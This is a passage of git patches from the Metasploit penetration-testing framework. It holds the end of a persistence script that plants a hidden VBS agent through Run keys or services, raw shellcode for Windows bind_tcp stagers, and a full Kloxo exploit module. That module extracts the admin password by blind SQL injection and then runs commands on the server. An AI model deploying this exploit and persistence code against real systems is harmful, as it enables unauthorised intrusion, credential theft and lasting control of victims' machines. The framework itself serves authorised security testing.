create_script(delay,altexe,raw) - if not altexe.nil? - vbs = ::Msf::Util::EXE.to_win32pe_vbs(session.framework, raw, {:persist => true, :delay => delay, :template => altexe}) - else - vbs = ::Msf::Util::EXE.to_win32pe_vbs(session.framework, raw, {:persist => true, :delay => delay}) - end - print_status("Persistent agent script is #{vbs.length} bytes long") - return vbs - end - - # Function for creating log folder and returning log path - #------------------------------------------------------------------------------- - def log_file(log_path = nil) - #Get hostname - host = session.sys.config.sysinfo["Computer"] - - # Create Filename info to be appended to downloaded files - filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") - - # Create a directory for the logs - if log_path - logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) - else - logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) - end - - # Create the log directory - ::FileUtils.mkdir_p(logs) - - #logfile name - logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc" - return logfile - end - - # Function for writing script to target host - #------------------------------------------------------------------------------- - def write_script_to_target(vbs) - tempdir = session.fs.file.expand_path("%TEMP%") - tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs" - fd = session.fs.file.new(tempvbs, "wb") - fd.write(vbs) - fd.close - print_good("Persistent Script written to #{tempvbs}") - @clean_up_rc << "rm #{tempvbs}\n" - return tempvbs - end - - # Method for checking if a listener for a given IP and port is present - # will return true if a conflict exists and false if none is found - #------------------------------------------------------------------------------- - def check_for_listner(lhost,lport) - conflict = false - client.framework.jobs.each do |k,j| - if j.name =~ / multi\/handler/ - current_id = j.jid - current_lhost = j.ctx[0].datastore["LHOST"] - current_lport = j.ctx[0].datastore["LPORT"] - if lhost == current_lhost and lport == current_lport.to_i - print_error("Job #{current_id} is listening on IP #{current_lhost} and port #{current_lport}") - conflict = true - end - end - end - return conflict - end - - # Starts a multi/handler session - #------------------------------------------------------------------------------- - def create_multihand(payload,lhost,lport) - pay = session.framework.payloads.create(payload) - pay.datastore['LHOST'] = lhost - pay.datastore['LPORT'] = lport - print_status("Starting exploit multi handler") - if not check_for_listner(lhost,lport) - # Set options for module - mul = session.framework.exploits.create("multi/handler") - mul.share_datastore(pay.datastore) - mul.datastore['WORKSPACE'] = client.workspace - mul.datastore['PAYLOAD'] = payload - mul.datastore['EXITFUNC'] = 'thread' - mul.datastore['ExitOnSession'] = false - # Validate module options - mul.options.validate(mul.datastore) - # Execute showing output - mul.exploit_simple( - 'Payload' => mul.datastore['PAYLOAD'], - 'LocalInput' => self.user_input, - 'LocalOutput' => self.user_output, - 'RunAsJob' => true - ) - else - print_error("Could not start handler!") - print_error("A job is listening on the same Port") - end - end - - # Function to execute script on target and return the PID of the process - #------------------------------------------------------------------------------- - def target_exec(script_on_target) - print_status("Executing script #{script_on_target}") - proc = datastore['ACTION'] == 'REXE' ? session.sys.process.execute(script_on_target, nil, {'Hidden' => true})\ - : session.sys.process.execute("cscript \"#{script_on_target}\"", nil, {'Hidden' => true}) - - print_good("Agent executed with PID #{proc.pid}") - @clean_up_rc << "kill #{proc.pid}\n" - return proc.pid - end - - # Function to install payload in to the registry HKLM or HKCU - #------------------------------------------------------------------------------- - def write_to_reg(key,script_on_target) - nam = Rex::Text.rand_text_alpha(rand(8)+8) - print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") - if(key) - registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",nam,script_on_target,"REG_SZ") - print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}") - else - print_error("Error: failed to open the registry key for writing") - end - end - # Function to install payload as a service - #------------------------------------------------------------------------------- - def install_as_service(script_on_target) - if is_system? or is_admin? - print_status("Installing as service..") - nam = Rex::Text.rand_text_alpha(rand(8)+8) - print_status("Creating service #{nam}") - datastore['ACTION'] == 'REXE' ? service_create(nam, nam, "cmd /c \"#{script_on_target}\"") : service_create(nam, nam, "cscript \"#{script_on_target}\"") - - @clean_up_rc << "execute -H -f sc -a \"delete #{nam}\"\n" - else - print_error("Insufficient privileges to create service") - end - end - - - # Function for writing executable to target host - #------------------------------------------------------------------------------- - def write_exe_to_target(vbs,rexename) - tempdir = session.fs.file.expand_path("%TEMP%") - tempvbs = tempdir + "\\" + rexename - fd = session.fs.file.new(tempvbs, "wb") - fd.write(vbs) - fd.close - print_good("Persistent Script written to #{tempvbs}") - @clean_up_rc << "rm #{tempvbs}\n" - return tempvbs - end - - def create_payload_from_file(exec) - print_status("Reading Payload from file #{exec}") - return ::IO.read(exec) - end - -end From 553616b6cc23910d8c1723cfb5c4017558c84792 Mon Sep 17 00:00:00 2001 From: Joe Vennix <joev@metasploit.com> Date: Tue, 4 Feb 2014 17:04:06 -0600 Subject: [PATCH 181/246] Add URL for browser exploit. --- .../exploits/android/browser/webview_addjavascriptinterface.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/modules/exploits/android/browser/webview_addjavascriptinterface.rb b/modules/exploits/android/browser/webview_addjavascriptinterface.rb index 971748514e..6dada4e785 100644 --- a/modules/exploits/android/browser/webview_addjavascriptinterface.rb +++ b/modules/exploits/android/browser/webview_addjavascriptinterface.rb @@ -52,6 +52,8 @@ class Metasploit3 < Msf::Exploit::Remote 'joev' # static server ], 'References' => [ + ['URL', 'http://blog.trustlook.com/2013/09/04/alert-android-webview-'+ + 'addjavascriptinterface-code-execution-vulnerability/'], ['URL', 'https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/'], ['URL', 'http://50.56.33.56/blog/?p=314'], ['URL', 'https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-'+ From 14aa8ffd5c8b3a41123af31f3bd64337b6c43868 Mon Sep 17 00:00:00 2001 From: James Lee <egypt@metasploit.com> Date: Tue, 4 Feb 2014 17:45:18 -0600 Subject: [PATCH 182/246] Apply blockapi changes to bind_tcp and bind_tcp_rc4 --- modules/payloads/stagers/windows/bind_tcp.rb | 42 +++++++------ .../payloads/stagers/windows/bind_tcp_rc4.rb | 62 ++++++++++--------- 2 files changed, 57 insertions(+), 47 deletions(-) diff --git a/modules/payloads/stagers/windows/bind_tcp.rb b/modules/payloads/stagers/windows/bind_tcp.rb index 8bc61ad733..db9746881c 100644 --- a/modules/payloads/stagers/windows/bind_tcp.rb +++ b/modules/payloads/stagers/windows/bind_tcp.rb @@ -26,28 +26,32 @@ module Metasploit3 'Stager' => { 'RequiresMidstager' => false, - 'Offsets' => { 'LPORT' => [ 200, 'n' ] }, + 'Offsets' => { 'LPORT' => [ 197, 'n' ] }, 'Payload' => - # Length: 298 bytes - "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + + + # Name: stager_bind_tcp_nx + # Length: 295 bytes + # Port Offset: 197 + "\xFC\xE8\x86\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + - "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" + - "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" + - "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" + - "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + - "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + - "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + - "\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07" + - "\xFF\xD5\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00" + - "\xFF\xD5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF" + - "\xD5\x97\x31\xDB\x53\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56\x57" + - "\x68\xC2\xDB\x37\x67\xFF\xD5\x53\x57\x68\xB7\xE9\x38\xFF\xFF\xD5" + - "\x53\x53\x57\x68\x74\xEC\x3B\xE1\xFF\xD5\x57\x97\x68\x75\x6E\x4D" + - "\x61\xFF\xD5\x6A\x00\x6A\x04\x56\x57\x68\x02\xD9\xC8\x5F\xFF\xD5" + - "\x8B\x36\x6A\x40\x68\x00\x10\x00\x00\x56\x6A\x00\x68\x58\xA4\x53" + - "\xE5\xFF\xD5\x93\x53\x6A\x00\x56\x53\x57\x68\x02\xD9\xC8\x5F\xFF" + - "\xD5\x01\xC3\x29\xC6\x85\xF6\x75\xEC\xC3" + "\x8B\x52\x10\x8B\x42\x3C\x8B\x4C\x10\x78\xE3\x4A\x01\xD1\x51\x8B" + + "\x59\x20\x01\xD3\x8B\x49\x18\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31" + + "\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8" + + "\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B" + + "\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61" + + "\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x89\x5D\x68\x33\x32" + + "\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8" + + "\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50" + + "\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x31" + + "\xDB\x53\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\xC2\xDB" + + "\x37\x67\xFF\xD5\x53\x57\x68\xB7\xE9\x38\xFF\xFF\xD5\x53\x53\x57" + + "\x68\x74\xEC\x3B\xE1\xFF\xD5\x57\x97\x68\x75\x6E\x4D\x61\xFF\xD5" + + "\x6A\x00\x6A\x04\x56\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A" + + "\x40\x68\x00\x10\x00\x00\x56\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5" + + "\x93\x53\x6A\x00\x56\x53\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3" + + "\x29\xC6\x85\xF6\x75\xEC\xC3" + } )) end diff --git a/modules/payloads/stagers/windows/bind_tcp_rc4.rb b/modules/payloads/stagers/windows/bind_tcp_rc4.rb index 097d66e80f..8cb3b3f4a7 100644 --- a/modules/payloads/stagers/windows/bind_tcp_rc4.rb +++ b/modules/payloads/stagers/windows/bind_tcp_rc4.rb @@ -33,38 +33,44 @@ module Metasploit3 'RequiresMidstager' => false, 'Offsets' => { - 'LPORT' => [ 200, 'n' ], - 'XORKey' => [ 260, '' ], - 'RC4Key' => [ 324, '' ] + 'LPORT' => [ 197, 'n' ], + 'XORKey' => [ 257, '' ], + 'RC4Key' => [ 321, '' ] }, 'Payload' => - # Length: 411 bytes - "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + + + # Name: stager_bind_tcp_rc4 + # Length: 408 bytes + # Port Offset: 197 + # RC4Key Offset: 321 + # XORKey Offset: 257 + "\xFC\xE8\x86\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + - "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" + - "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" + - "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" + - "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + - "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + - "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + - "\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07" + - "\xFF\xD5\xB8\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00" + - "\xFF\xD5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF" + - "\xD5\x97\x31\xDB\x53\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56\x57" + - "\x68\xC2\xDB\x37\x67\xFF\xD5\x53\x57\x68\xB7\xE9\x38\xFF\xFF\xD5" + - "\x53\x53\x57\x68\x74\xEC\x3B\xE1\xFF\xD5\x57\x97\x68\x75\x6E\x4D" + - "\x61\xFF\xD5\x6A\x00\x6A\x04\x56\x57\x68\x02\xD9\xC8\x5F\xFF\xD5" + - "\x8B\x36\x81\xF6\x58\x4F\x52\x4B\x8D\x0E\x6A\x40\x68\x00\x10\x00" + - "\x00\x51\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x8D\x98\x00\x01\x00" + - "\x00\x53\x56\x50\x6A\x00\x56\x53\x57\x68\x02\xD9\xC8\x5F\xFF\xD5" + - "\x01\xC3\x29\xC6\x85\xF6\x75\xEC\x5B\x59\x5D\x55\x57\x89\xDF\xE8" + - "\x10\x00\x00\x00\x52\x43\x34\x4B\x65\x79\x4D\x65\x74\x61\x73\x70" + - "\x6C\x6F\x69\x74\x5E\x31\xC0\xAA\xFE\xC0\x75\xFB\x81\xEF\x00\x01" + - "\x00\x00\x31\xDB\x02\x1C\x07\x89\xC2\x80\xE2\x0F\x02\x1C\x16\x8A" + - "\x14\x07\x86\x14\x1F\x88\x14\x07\xFE\xC0\x75\xE8\x31\xDB\xFE\xC0" + - "\x02\x1C\x07\x8A\x14\x07\x86\x14\x1F\x88\x14\x07\x02\x14\x1F\x8A" + - "\x14\x17\x30\x55\x00\x45\x49\x75\xE5\x5F\xC3" + "\x8B\x52\x10\x8B\x42\x3C\x8B\x4C\x10\x78\xE3\x4A\x01\xD1\x51\x8B" + + "\x59\x20\x01\xD3\x8B\x49\x18\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31" + + "\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8" + + "\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B" + + "\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61" + + "\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x89\x5D\x68\x33\x32" + + "\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8" + + "\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50" + + "\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x31" + + "\xDB\x53\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\xC2\xDB" + + "\x37\x67\xFF\xD5\x53\x57\x68\xB7\xE9\x38\xFF\xFF\xD5\x53\x53\x57" + + "\x68\x74\xEC\x3B\xE1\xFF\xD5\x57\x97\x68\x75\x6E\x4D\x61\xFF\xD5" + + "\x6A\x00\x6A\x04\x56\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x8B\x36\x81" + + "\xF6\x58\x4F\x52\x4B\x8D\x0E\x6A\x40\x68\x00\x10\x00\x00\x51\x6A" + + "\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x8D\x98\x00\x01\x00\x00\x53\x56" + + "\x50\x6A\x00\x56\x53\x57\x68\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29" + + "\xC6\x85\xF6\x75\xEC\x5B\x59\x5D\x55\x57\x89\xDF\xE8\x10\x00\x00" + + "\x00\x52\x43\x34\x4B\x65\x79\x4D\x65\x74\x61\x73\x70\x6C\x6F\x69" + + "\x74\x5E\x31\xC0\xAA\xFE\xC0\x75\xFB\x81\xEF\x00\x01\x00\x00\x31" + + "\xDB\x02\x1C\x07\x89\xC2\x80\xE2\x0F\x02\x1C\x16\x8A\x14\x07\x86" + + "\x14\x1F\x88\x14\x07\xFE\xC0\x75\xE8\x31\xDB\xFE\xC0\x02\x1C\x07" + + "\x8A\x14\x07\x86\x14\x1F\x88\x14\x07\x02\x14\x1F\x8A\x14\x17\x30" + + "\x55\x00\x45\x49\x75\xE5\x5F\xC3" + } )) From 631559a2e830934a04053ee3bff8dd40946f5743 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 5 Feb 2014 14:18:56 -0600 Subject: [PATCH 183/246] Add module for Kloco SQLi --- modules/exploits/linux/http/kloxo_sqli.rb | 269 ++++++++++++++++++++++ 1 file changed, 269 insertions(+) create mode 100644 modules/exploits/linux/http/kloxo_sqli.rb diff --git a/modules/exploits/linux/http/kloxo_sqli.rb b/modules/exploits/linux/http/kloxo_sqli.rb new file mode 100644 index 0000000000..d0b7e6622b --- /dev/null +++ b/modules/exploits/linux/http/kloxo_sqli.rb @@ -0,0 +1,269 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + Rank = ManualRanking + PASSWORD_PREFIX = '__lxen:' + BASE64_RANGE = Rex::Text::AlphaNumeric + '+/=' + + attr_accessor :password + attr_accessor :session + attr_accessor :server + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Kloxo SQL Injection and Remote Code Execution', + 'Description' => %q{ + This module exploits an unauthenticated SQL injection vulnerability affecting Kloxo, as + exploited in the wild on January 2014. The SQL injection issue can be abused in order to + retrieve the kloxo admin clear text password from the database. With admin access to the + web control panel, remote PHP code execution can be achieved by abusing the Command Center + function. The module tries to find the first server in the tree view , unless the server + information is provided, and executes the payload there. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Unknown', # Discovery, exploit in the wild + 'juan vazquez' # Metasploit Module + ], + 'References' => + [ + ['URL', 'https://vpsboard.com/topic/3384-kloxo-installations-compromised/'], # kloxo exploited in the wild + ['URL', 'http://www.webhostingtalk.com/showthread.php?p=8996984'], # kloxo exploited in the wild + ['URL', 'http://forum.lxcenter.org/index.php?t=msg&th=19215&goto=102646'] # patch discussion + ], + 'Arch' => ARCH_CMD, + 'Platform' => 'unix', + 'Payload' => + { + 'Space' => 262144, # 256k + 'DisableNops' => true, + 'Compat' => + { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic perl python gawk bash-tcp netcat' + } + }, + 'Targets' => + [ + ['Kloxo / CentOS', {}] + ], + 'Privileged' => true, + 'DisclosureDate' => 'Jan 28 2014', + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(7778), + OptString.new('TARGETURI', [true, 'The URI of the Kloxo Application', '/']) + ], self.class) + + register_advanced_options( + [ + OptString.new('SERVER_CLASS', [false, 'The server class']), + OptString.new('SERVER_NAME', [false, 'The server name']) + ], self.class) + end + + def check + return Exploit::CheckCode::Safe unless webcommand_exists? + return Exploit::CheckCode::Safe if exploit_sqli(1, bad_char(0)) + return Exploit::CheckCode::Safe unless pefix_found? + + Exploit::CheckCode::Vulnerable + end + + def exploit + fail_with(Failure::NotVulnerable, "#{peer} - The SQLi cannot be exploited") unless check == Exploit::CheckCode::Vulnerable + + print_status("#{peer} - Recovering the admin password with SQLi...") + loot = base64_password + fail_with(Failure::Unknown, "#{peer} - Failed to exploit the SQLi...") if loot.nil? + @password = Rex::Text.decode_base64(loot) + print_good("#{peer} - Password recovered: #{@password}") + + print_status("#{peer} - Logging into the Control Panel...") + @session = send_login + fail_with(Failure::NoAccess, "#{peer} - Login with admin/#{@password} failed...") if @session.nil? + + print_status("#{peer} - Retrieving the server name...") + @server = server_info + fail_with(Failure::NoAccess, "#{peer} - Login with admin/#{Rex::Text.decode_base64(base64_password)} failed...") if @server.nil? + + print_status("#{peer} - Exploiting...") + send_command(payload.encoded) + end + + def send_login + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.to_s, 'htmllib', 'phplib', ''), + 'vars_post' => + { + 'frm_clientname' => 'admin', + 'frm_password' => @password, + 'login' => 'Login' + } + ) + + if res && res.code == 302 && res.headers.include?('Set-Cookie') + return res.get_cookies + end + + nil + end + + def server_info + + unless datastore['SERVER_CLASS'].blank? || datastore['SERVER_NAME'].blank? + return { :class => datastore['SERVER_CLASS'], :name => datastore['SERVER_NAME'] } + end + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.to_s, 'display.php'), + 'cookie' => @session, + 'vars_get' => + { + 'frm_action' => 'show' + } + }) + + if res && res.code == 200 && res.body.to_s =~ /<input type=hidden name="frm_subaction" value ="commandcenter">/ + return parse_display_info(res.body.to_s) + end + + nil + end + + def parse_display_info(html) + server_info = {} + pos = html.index(/<input type=hidden name="frm_subaction" value ="commandcenter">/) + + if html.index(/<input type=hidden name="frm_o_o\[\d+\]\[class\]" value ="(.*)">/, pos).nil? + return nil + else + server_info[:class] = $1 + end + + if html.index(/<input type=hidden name="frm_o_o\[\d+\]\[nname\]" value ="(.*)"> /, pos).nil? + return nil + else + server_info[:name] = $1 + end + + server_info + end + + def send_command(command) + data = Rex::MIME::Message.new + data.add_part(@server[:class], nil, nil, 'form-data; name="frm_o_o[0][class]"') + data.add_part(@server[:name], nil, nil, 'form-data; name="frm_o_o[0][nname]"') + data.add_part(command, nil, nil, 'form-data; name="frm_pserver_c_ccenter_command"') + data.add_part('', nil, nil, 'form-data; name="frm_pserver_c_ccenter_error"') + data.add_part('updateform', nil, nil, 'form-data; name="frm_action"') + data.add_part('commandcenter', nil, nil, 'form-data; name="frm_subaction"') + data.add_part('Execute', nil, nil, 'form-data; name="frm_change"') + + post_data = data.to_s + post_data = post_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_') + + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path.to_s, 'display.php'), + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'cookie' => @session, + 'data' => post_data + }, 1) + end + + def webcommand_exists? + res = send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'lbin', 'webcommand.php')) + + if res && res.code == 200 && res.body.to_s =~ /__error_only_clients_and_auxiliary_allowed_to_login/ + return true + end + + false + end + + def pefix_found? + i = 1 + PASSWORD_PREFIX.each_char do |c| + return false unless exploit_sqli(i, c) + i = i + 1 + end + + true + end + + def bad_char(pos) + Rex::Text.rand_text_alpha(1, PASSWORD_PREFIX[pos]) + end + + def ascii(char) + char.unpack('C')[0] + end + + def base64_password + i = PASSWORD_PREFIX.length + 1 + loot = '' + + until exploit_sqli(i, "\x00") + vprint_status("#{peer} - Bruteforcing position #{i}") + c = brute_force_char(i) + if c.nil? + return nil + else + loot << c + end + vprint_status("#{peer} - Found: #{loot}") + i = i + 1 + end + + loot + end + + def brute_force_char(pos) + BASE64_RANGE.each_char do |c| + return c if exploit_sqli(pos, c) + end + + nil + end + + def exploit_sqli(pos, char) + # $1$Tw5.g72.$/0X4oceEHjGOgJB/fqRww/ == crypt(123456) + sqli = "al5i' " + sqli << "union select '$1$Tw5.g72.$/0X4oceEHjGOgJB/fqRww/' from client where " + sqli << "ascii(substring(( select realpass from client limit 1),#{pos},1))=#{ascii(char)}#" + + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.to_s, 'lbin', 'webcommand.php'), + 'vars_get' => + { + 'login-class' => 'client', + 'login-name' => sqli, + 'login-password' => '123456' + } + ) + + if res && res.code == 200 && res.body.blank? + return true + elsif res && res.code == 200 && res.body.to_s =~ /_error_login_error/ + return false + end + + print_warning("#{peer} - Unknown fingerprint while exploiting SQLi... be careful") + false + end + +end From fdb954fdfb01905dd1a5187e06a7eed883caf063 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Wed, 5 Feb 2014 14:37:33 -0600 Subject: [PATCH 184/246] Report credentials --- modules/exploits/linux/http/kloxo_sqli.rb | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/modules/exploits/linux/http/kloxo_sqli.rb b/modules/exploits/linux/http/kloxo_sqli.rb index d0b7e6622b..f10f53bdf0 100644 --- a/modules/exploits/linux/http/kloxo_sqli.rb +++ b/modules/exploits/linux/http/kloxo_sqli.rb @@ -94,6 +94,15 @@ class Metasploit3 < Msf::Exploit::Remote @session = send_login fail_with(Failure::NoAccess, "#{peer} - Login with admin/#{@password} failed...") if @session.nil? + report_auth_info( + :host => rhost, + :port => rport, + :user => 'admin', + :pass => @password, + :type => 'password', + :sname => (ssl ? 'https' : 'http') + ) + print_status("#{peer} - Retrieving the server name...") @server = server_info fail_with(Failure::NoAccess, "#{peer} - Login with admin/#{Rex::Text.decode_base64(base64_password)} failed...") if @server.nil? From 38add0ab50b52297dbe480604b575c9260efcb3c Mon Sep 17 00:00:00 2001 From: kicks4kittens <jeakeabo@incognitomail.org> Date: Wed, 5 Feb 2014 21:49:39 +0100 Subject: [PATCH 185/246] alter print_status Altered print_status to print_good to differentiate when user is online easier --- modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb b/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb index 7c9a88eb20..32c6c0ef6f 100644 --- a/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb +++ b/modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb @@ -87,7 +87,7 @@ class Metasploit3 < Msf::Auxiliary if action.name == 'CHECK' print_status("#{peer} - Checking if user #{@sipuri} is online") if check_user - print_status("#{peer} - User online") + print_good("#{peer} - User online") else print_status("#{peer} - User offline") end From 3560b41eb2c0d4067b59a92a77ac09736ba6af4d Mon Sep 17 00:00:00 2001 From: kicks4kittens <jeakeabo@incognitomail.org> Date: Wed, 5 Feb 2014 21:51:55 +0100 Subject: [PATCH 186/246] correct variable name body isn't valid, replaced with res.body and tested --- modules/auxiliary/gather/ibm_sametime_version.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/ibm_sametime_version.rb b/modules/auxiliary/gather/ibm_sametime_version.rb index 4ec88c8099..c803961d7c 100644 --- a/modules/auxiliary/gather/ibm_sametime_version.rb +++ b/modules/auxiliary/gather/ibm_sametime_version.rb @@ -130,7 +130,7 @@ class Metasploit3 < Msf::Auxiliary end extract_webavservlet_data(res_json) elsif res['content-type'].include?("text/plain") or res['content-type'].include?("text/html") - extract_data(body, url) + extract_data(res.body, url) elsif res['content-type'].include?("text/json") or res['content-type'].include?("text/javaScript") begin res_json = JSON.parse(res.body) From 60cf68f8995bf518c5e410b8e19009d8bb081a5c Mon Sep 17 00:00:00 2001 From: kicks4kittens <jeakeabo@incognitomail.org> Date: Wed, 5 Feb 2014 21:54:02 +0100 Subject: [PATCH 187/246] added default SSL --- modules/auxiliary/gather/ibm_sametime_version.rb | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/modules/auxiliary/gather/ibm_sametime_version.rb b/modules/auxiliary/gather/ibm_sametime_version.rb index c803961d7c..72cabcdbac 100644 --- a/modules/auxiliary/gather/ibm_sametime_version.rb +++ b/modules/auxiliary/gather/ibm_sametime_version.rb @@ -70,12 +70,17 @@ class Metasploit3 < Msf::Auxiliary [ 'kicks4kittens' # Metasploit module ], + 'DefaultOptions' => + { + 'SSL' => true + }, 'License' => MSF_LICENSE, 'DisclosureDate' => 'Dec 27 2013' )) register_options( [ + Opt::RPORT(443), OptString.new('TARGETURI', [ true, "The path to the Sametime Server", '/']), OptBool.new('QuerySametimeProxy', [ true, "Automatically query Sametime proxy if found", true]), OptBool.new('ShowVersions', [ true, "Display Version information from server", true]), From 4c0c9101aa9b1c8ae95d63e7be38fec6baff6281 Mon Sep 17 00:00:00 2001 From: kicks4kittens <jeakeabo@incognitomail.org> Date: Wed, 5 Feb 2014 21:56:56 +0100 Subject: [PATCH 188/246] Correct check, reinstate print Corrected JSON check (response is empty, but valid JSON on check success) Reinstated print to warn user (not only in VERBOSE) --- modules/auxiliary/gather/ibm_sametime_enumerate_users.rb | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb b/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb index 40cf91cc4f..c43e52a605 100644 --- a/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb +++ 